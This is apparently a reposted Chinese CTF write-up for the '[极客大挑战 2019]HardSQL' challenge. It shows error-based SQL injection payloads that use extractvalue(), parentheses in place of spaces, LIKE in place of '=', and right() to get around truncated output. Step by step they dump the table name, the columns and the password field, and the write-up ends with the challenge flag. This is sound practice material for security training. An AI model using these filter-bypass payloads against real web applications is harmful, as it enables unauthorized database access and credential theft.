cl4y 师傅出的又一道 sqli
首先我们进行 fuzz, 跑完之后显示出被过滤的非法字符:
过滤了 union, 空格,= 等字符, 我们先输入一个'进行测试, 发现回显报错, 于是我们尝试进行报错注入:
payload:?username=admin'or(extractvalue(1,concat('0x7e',version())))#&password=123
尝试在 username 处进行注入; 因为空格被过滤了, 我们在这里使用括号进行绕过; 爆出来当前数据库的版本:
我们已经可以确定了注入方式和注入点, 接下来就是一波老操作, 在这里直接给出 payload 和回显图片 ("=" 被 ban 了所以我们使用 like 进行代替)
payload:?username=admin'or(extractvalue(1,concat('0x7e',(select(table_name)from(information_schema.tables)where(table_schema)like(database())))))#&password=123 //XPATH syntax error: 'x7eH4rDsq1', 爆出表的名称为 H4rDsq1
payload:?username=admin'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))# //XPATH syntax error:'~id,username,password', 爆出当前表中的三个字段
敏感信息应该是存在于 password 字段中, 于是我们尝试读取 password 的内容:
payload:?username=admin'or(extractvalue(1,concat('0x7e',(select(group_concat(password))from(H4rDsq1)))))#&password=123
我们已经成功爆出了 flag, 但是因为回显的字符串长度不够无法完全读取 flag 的值, 而且 substr 被禁用了, 于是我们使用 right() 函数进行读取
right(str,length) 函数返回 str 的后 length 个字符,
payload:?username=admin'or(extractvalue(1,concat('0x7e',(select(group_concat(right(password,20)))from(H4rDsq1)))))#&password=123
拼接后的 flag:
flag{c4be14ce-1e03-4e19-8152-c2d222064351}
[极客大挑战 2019]HardSQL
来源: http://www.bubuko.com/infodetail-3675883.html